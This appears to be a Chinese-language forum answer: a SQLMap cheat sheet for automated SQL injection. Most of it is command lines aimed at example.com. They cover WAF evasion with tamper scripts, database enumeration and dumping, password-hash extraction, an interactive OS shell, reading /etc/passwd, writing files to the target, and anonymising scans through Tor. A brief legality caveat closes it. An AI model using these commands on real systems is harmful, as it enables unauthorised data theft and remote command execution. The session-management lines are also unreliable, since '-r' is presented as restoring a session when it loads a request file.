SQLMap 备忘单:自动 SQL 注入快速指南

SQLMap 备忘单:自动 SQL 注入快速指南
最新回答
薄凉的只是时光

2026-10-22 17:44:34

SQLMap 是一个开源渗透测试工具,用于自动化检测和利用 Web 应用程序中的 SQL 注入漏洞,支持多种数据库系统(如 MySQL、PostgreSQL、Oracle、Microsoft SQL Server 等)。以下为自动 SQL 注入测试的快速指南:

1. 基本漏洞扫描
  • 命令示例:sqlmap -u "
    http://example.com/index.php?id=1"

    扫描目标 URL 是否存在 SQL 注入漏洞。

    附加选项:--dbs:若发现漏洞,列出目标服务器上的所有数据库。

2. 处理 POST 请求
  • 命令示例(针对登录表单等需 POST 数据的场景):sqlmap -u "
    http://example.com/login.php"
    --data="username=admin&password=1234"

    通过 --data 指定 POST 请求的键值对参数。

3. 绕过 WAF 和过滤器
  • 命令示例(使用篡改脚本混淆 payload):sqlmap -u "
    http://example.com/index.php?id=1"
    --tamper=space2comment

    常用篡改脚本:space2comment(空格替换为注释)、charencode(字符编码混淆)。

4. 数据库、表、列枚举
  • 列出数据库:sqlmap -u "
    http://example.com/index.php?id=1"
    --dbs
  • 列出指定数据库的表:sqlmap -u "
    http://example.com/index.php?id=1"
    -D database_name --tables
  • 列出指定表的列:sqlmap -u "
    http://example.com/index.php?id=1"
    -D database_name -T table_name --columns
5. 数据转储
  • 命令示例(导出特定表的所有数据):sqlmap -u "
    http://example.com/index.php?id=1"
    -D database_name -T table_name --dump
6. 枚举数据库用户与密码
  • 列出所有用户:sqlmap -u "
    http://example.com/index.php?id=1"
    --users
  • 破解哈希密码:sqlmap -u "
    http://example.com/index.php?id=1"
    --passwords
7. 操作系统命令执行
  • 命令示例(需数据库用户具备高权限):sqlmap -u "
    http://example.com/index.php?id=1"
    --os-shell

    提供交互式 Shell,可在目标系统上执行命令。

8. 文件操作
  • 读取文件:sqlmap -u "
    http://example.com/index.php?id=1"
    --file-read="/etc/passwd"
  • 上传文件:sqlmap -u "
    http://example.com/index.php?id=1"
    --file-write="/path/to/local/file" --file-dest="/target/path"
9. 通过 Tor 匿名扫描
  • 命令示例:sqlmap -u "
    http://example.com/index.php?id=1"
    --tor --tor-type=socks5 --check-tor

    --tor:启用 Tor 网络代理。

    --check-tor:验证连接是否通过 Tor。

10. 会话管理
  • 保存会话:sqlmap -u "
    http://example.com/index.php?id=1"
    --session=session_name
  • 恢复会话:sqlmap -r session_name
11. 详细模式
  • 命令示例(设置日志详细级别):sqlmap -u "
    http://example.com/index.php?id=1"
    -v 3

    -v 参数范围为 0(静默)到 6(最详细),默认级别为 1。

12. 批量扫描多个目标
  • 命令示例(从文件读取 URL 列表):sqlmap -m urls.txt --batch

    --batch:自动使用默认选项回答所有提示,适合自动化扫描。

    增强扫描:sqlmap -m urls.txt --risk=3 --level=5

    --risk(1-3):控制测试风险等级(3 为最高)。

    --level(1-5):指定检测深度(5 为最全面)。

注意事项
  • 合法性:仅在获得授权的测试环境中使用 SQLMap,未经授权的扫描可能违反法律。
  • 风险控制:高风险操作(如 --os-shell)可能导致目标系统崩溃或数据泄露,需谨慎使用。
  • 更新工具:定期更新 SQLMap 以获取最新漏洞检测规则和功能支持。

通过以上命令组合,可高效完成从漏洞探测到数据提取的全流程渗透测试。